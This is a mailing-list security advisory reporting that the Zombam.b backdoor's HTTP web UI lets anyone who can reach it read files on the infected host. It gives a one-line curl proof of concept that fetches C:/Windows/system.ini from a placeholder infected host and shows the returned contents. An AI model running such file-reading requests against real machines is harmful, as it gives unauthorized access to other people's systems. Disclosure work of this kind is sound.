full-disclosure - [FD] Backdoor.Win32.Zombam.b / Unauthenticated Information Disclosure

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Message-ID: <CAAHK0WQW8Ao0=4+Aa27gFyCJumMyAq=cw4vSsw7xpe9OksfmFQ@mail.gmail.com>
Date: Wed, 16 Feb 2022 21:14:47 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.b / Unauthenticated Information
	Disclosure

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/1e3665a67201209609ae493a2a590bee_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.b
Vulnerability: Unauthenticated Information Disclosure
Description: z0mbie's HTTP RAT v0.1a listens on TCP port 80 to display an
HTML Web UI for basic remote administration capability. Third-party
attackers who can reach the backdoor can read dir/files on the system.
Type: PE32
MD5: 1e3665a67201209609ae493a2a590bee
Vuln ID: MVID-2022-0488
Disclosure: 02/16/2022

Exploit/PoC:
curl http://MALWARE_INFECTED_HOST/C:/Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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